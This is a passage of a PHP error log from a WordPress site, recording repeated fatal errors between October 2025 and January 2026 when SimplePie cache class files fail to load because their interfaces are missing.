  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Oct-2025 10:36:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Oct-2025 10:36:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Oct-2025 10:36:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Oct-2025 10:36:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Oct-2025 10:36:54 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Oct-2025 10:36:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Oct-2025 10:36:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Oct-2025 10:45:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Oct-2025 10:45:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Oct-2025 10:45:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Oct-2025 10:45:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Oct-2025 10:45:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Oct-2025 10:45:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Oct-2025 10:45:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Oct-2025 10:45:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Oct-2025 10:45:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Nov-2025 08:24:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Nov-2025 08:24:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Nov-2025 08:24:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Nov-2025 08:24:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Nov-2025 08:24:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Nov-2025 08:24:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Nov-2025 08:24:54 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Nov-2025 08:24:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Nov-2025 08:24:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Nov-2025 08:34:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Nov-2025 08:34:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Nov-2025 08:34:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Nov-2025 08:34:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Nov-2025 08:34:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Nov-2025 08:34:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Nov-2025 08:34:41 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Nov-2025 08:34:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Nov-2025 08:34:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[06-Dec-2025 18:39:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[06-Dec-2025 18:39:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[06-Dec-2025 18:39:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[06-Dec-2025 18:39:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[06-Dec-2025 18:39:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[06-Dec-2025 18:39:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[06-Dec-2025 18:39:33 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[06-Dec-2025 18:39:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[06-Dec-2025 18:39:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[06-Dec-2025 18:52:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[06-Dec-2025 18:52:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[06-Dec-2025 18:52:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[06-Dec-2025 18:52:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[06-Dec-2025 18:52:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[06-Dec-2025 18:52:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[06-Dec-2025 18:52:52 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[06-Dec-2025 18:52:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[06-Dec-2025 18:52:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[23-Dec-2025 11:32:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[23-Dec-2025 11:32:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[23-Dec-2025 11:32:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[23-Dec-2025 11:32:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[23-Dec-2025 11:32:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[23-Dec-2025 11:32:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[23-Dec-2025 11:32:34 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[23-Dec-2025 11:32:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[23-Dec-2025 11:32:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[23-Dec-2025 11:53:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[23-Dec-2025 11:53:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[23-Dec-2025 11:53:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[23-Dec-2025 11:53:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[23-Dec-2025 11:53:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[23-Dec-2025 11:53:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[23-Dec-2025 11:53:28 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[23-Dec-2025 11:53:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[23-Dec-2025 11:53:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[24-Dec-2025 14:45:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[24-Dec-2025 14:45:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[24-Dec-2025 14:45:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[24-Dec-2025 14:45:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[24-Dec-2025 14:45:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[24-Dec-2025 14:45:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[24-Dec-2025 14:45:21 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[24-Dec-2025 14:45:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[24-Dec-2025 14:45:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[24-Dec-2025 15:10:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[24-Dec-2025 15:10:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[24-Dec-2025 15:10:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[24-Dec-2025 15:10:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[24-Dec-2025 15:10:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[24-Dec-2025 15:10:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[24-Dec-2025 15:10:40 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[24-Dec-2025 15:10:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[24-Dec-2025 15:10:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[04-Jan-2026 10:04:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[04-Jan-2026 10:04:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[04-Jan-2026 10:04:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[04-Jan-2026 10:04:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
